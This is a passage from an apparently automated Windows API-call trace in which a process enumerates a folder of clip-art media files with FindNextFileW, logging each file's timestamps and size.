nFileSizeLow=0x2398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0205462.WMF", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0205462.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0205466.WMF", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0205466.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0205582.WMF", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0205582.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211949.WMF", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0211949.WMF", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0211949.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0212219.WMF", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0212219.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0212661.WMF", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0212661.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0212701.WMF", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0212701.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0212957.WMF", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0212957.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0214098.WAV", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0214098.WAV", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0215086.WMF", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0215086.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0216516.WMF", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0216516.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1 [0095.328] lstrcmpiW (lpString1="J0216588.WMF", lpString2=".") returned 1 [0095.328] lstrcmpiW (lpString1="J0216588.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0216724.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0216724.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0216858.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0216858.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0217698.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0217698.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0221903.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0221903.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0222015.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0222015.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0222017.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0222017.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0222019.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0222019.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0222021.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0222021.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0229385.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0229385.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0229389.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0229389.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0230876.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0230876.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1 [0095.329] lstrcmpiW (lpString1="J0233018.WMF", lpString2=".") returned 1 [0095.329] lstrcmpiW (lpString1="J0233018.WMF", lpString2="..") returned 1 [0095.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1 [0095.330] lstrcmpiW (lpString1="J0233070.WMF", lpString2=".") returned 1 [0095.330] lstrcmpiW (lpString1="J0233070.WMF", lpString2="..") returned 1 [0095.330] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1 [0095.330] lstrcmpiW (lpString1="J0233312.WMF", lpString2=".") returned 1 [0095.330] lstrcmpiW (lpString1="J0233312.WMF", lpString2="..") returned 1 [0095.330] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1 [0095.330] lstrcmpiW (lpString1="J0234131.WMF", lpString2=".") returned 1 [0095.330] lstrcmpiW (lpString1="J0234131.WMF", lpString2="..") returned 1 [0095.330] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1 [0095.330] lstrcmpiW (lpString1="J0234266.WMF", lpString2=".") returned 1 [0095.330] lstrcmpiW (lpString1="J0234266.WMF", lpString2="..") returned 1 [0095.330] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1 [0095.330] lstrcmpiW (lpString1="J0234657.WMF", lpString2=".") returned 1 [0095.330] lstrcmpiW (lpString1="J0234657.WMF", lpString2="..") returned 1 [0095.330] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1 [0095.330] lstrcmpiW (lpString1="J0234687.GIF", lpString2=".") returned 1 [0095.330] lstrcmpiW (lpString1="J0234687.GIF", lpString2="..") returned 1 [0095.330] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1 [0095.330] lstrcmpiW (lpString1="J0235241.WMF", lpString2=".") returned 1 [0095.330] lstrcmpiW (lpString1="J0235241.WMF", lpString2="..") returned 1 [0095.330] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1 [0095.330] lstrcmpiW (lpString1="J0235319.WMF", lpString2=".") returned 1 [0095.330] lstrcmpiW (lpString1="J0235319.WMF", lpString2="..") returned 1 [0095.330] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1 [0095.330] lstrcmpiW (lpString1="J0240695.WMF", lpString2=".") returned 1 [0095.330] lstrcmpiW (lpString1="J0240695.WMF", lpString2="..") returned 1 [0095.330] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240719.WMF", cAlternateFileName="")) returned 1 [0095.331] lstrcmpiW (lpString1="J0240719.WMF", lpString2=".") returned 1 [0095.331] lstrcmpiW (lpString1="J0240719.WMF", lpString2="..") returned 1 [0095.331] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251301.WMF", cAlternateFileName="")) returned 1 [0095.331] lstrcmpiW (lpString1="J0251301.WMF", lpString2=".") returned 1 [0095.331] lstrcmpiW (lpString1="J0251301.WMF", lpString2="..") returned 1 [0095.331] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251871.WMF", cAlternateFileName="")) returned 1 [0095.331] lstrcmpiW (lpString1="J0251871.WMF", lpString2=".") returned 1 [0095.331] lstrcmpiW (lpString1="J0251871.WMF", lpString2="..") returned 1 [0095.331] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251925.WMF", cAlternateFileName="")) returned 1 [0095.331] lstrcmpiW (lpString1="J0251925.WMF", lpString2=".") returned 1 [0095.331] lstrcmpiW (lpString1="J0251925.WMF", lpString2="..") returned 1 [0095.331] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252349.WMF", cAlternateFileName="")) returned 1 [0095.331] lstrcmpiW (lpString1="J0252349.WMF", lpString2=".") returned 1 [0095.331] lstrcmpiW (lpString1="J0252349.WMF", lpString2="..") returned 1 